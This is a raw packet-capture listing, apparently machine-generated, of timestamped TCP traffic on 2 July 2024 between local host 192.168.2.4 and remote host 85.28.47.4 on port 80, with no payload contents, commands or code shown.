Jul 2, 2024 15:26:01.955423117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955424070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955435991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955445051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955456972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955465078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955482006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955502033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955513954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955519915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955524921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955526114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955534935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955540895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955544949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955605984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955805063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955816031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955835104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955847979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955878019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955914021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955924988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955948114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955955982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955962896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955979109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955996990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.956073046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956082106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956087112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956091881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956098080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956171989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.956185102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956196070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956213951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956224918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956229925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.956244946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956249952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.956257105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956275940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.956279993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.956295013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.956312895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:02.232949018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:02.232949972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:02.238019943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:02.238039017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:02.238051891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:02.238276005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:02.238286972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:02.965925932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:02.966237068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:03.048819065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:03.048861027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:03.053750992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:03.053800106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:03.054361105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:03.886356115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:03.886475086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:03.900182009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:03.904967070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:04.612334013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:04.612587929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:05.174550056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:05.179419041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:05.890911102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:05.891112089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.051245928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.056580067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229154110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229182005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229192019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229197979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229212999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229229927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229245901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229254961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229274035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229327917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229337931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229356050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229370117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.229382038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.229382038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.229382038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.229382038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.229424953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311378956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311399937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311424017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311435938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311455011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311454058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311454058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311491013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311501026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311619043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311630964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311649084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311657906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311659098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311669111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311680079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311682940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311702013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311712027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311713934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311727047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311744928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311754942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311758995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311774969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311780930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311789989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311801910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311805010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311830997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311844110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311847925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311856031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311877966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311886072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311903000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311906099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311906099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311918974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311933041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311944962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311949015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311964035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.311965942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.311989069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.312009096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.393811941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.393857002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.393868923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.393873930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.393898964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.393910885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.393912077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.393912077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.393929005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.393937111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.393946886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.393964052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394032955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394045115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394062996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394076109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394098997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394109011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394129038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394140959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394148111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394148111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394148111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394148111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394148111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394148111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394174099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394176006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394190073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394212961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394232035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394237995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394243956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394278049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394292116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394303083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394337893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394349098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394359112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394359112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394367933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394392014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394392014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394408941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394417048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394455910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394469976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394494057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394510031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394525051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394562006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394572973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394594908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394601107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394612074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394639015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394727945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394738913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394762993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394763947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394773006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394783974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394794941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394802094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394819021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394833088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394833088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394851923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394867897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394877911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394910097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394922018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394938946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394943953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394953012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394958019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394968033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.394973040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.394992113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.395004034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.395035982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.395070076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.395148993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.395183086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.395212889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.395225048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.395246983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.395257950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.395324945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.395337105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.395356894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.395360947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.395370007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.395376921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.395385981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.395411015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.398056030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.398124933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.476192951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.476221085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.476231098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.476237059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.476269007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.476288080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.476300001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.476314068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.476325035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.476335049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.476342916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.476385117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.476385117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478048086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478060961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478080988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478104115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478121042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478140116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478152037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478169918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478174925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478185892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478199005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478212118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478260994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478271961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478288889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478302002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478312016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478319883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478327036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478338957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478342056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478351116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478358984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478374004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478377104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478384018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478390932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478400946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478423119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478565931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478578091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478595018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478604078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478605986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478624105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478630066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478641033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478648901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478652954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478667021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478674889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478678942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478682041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478694916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478709936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478718996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478727102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478730917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478740931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478748083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478768110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478776932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478784084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478795052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478812933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478825092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478832006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478847027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478863955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478934050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478945971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478969097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.478976011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.478980064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479000092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479016066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479008913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479027033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479044914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479051113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479060888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479075909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479083061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479093075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479098082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479106903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479106903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479126930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479131937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479149103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479151011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479162931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479176044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479181051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479187012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479196072 CEST	80	49730	85.28.47.4	192.168.2.4
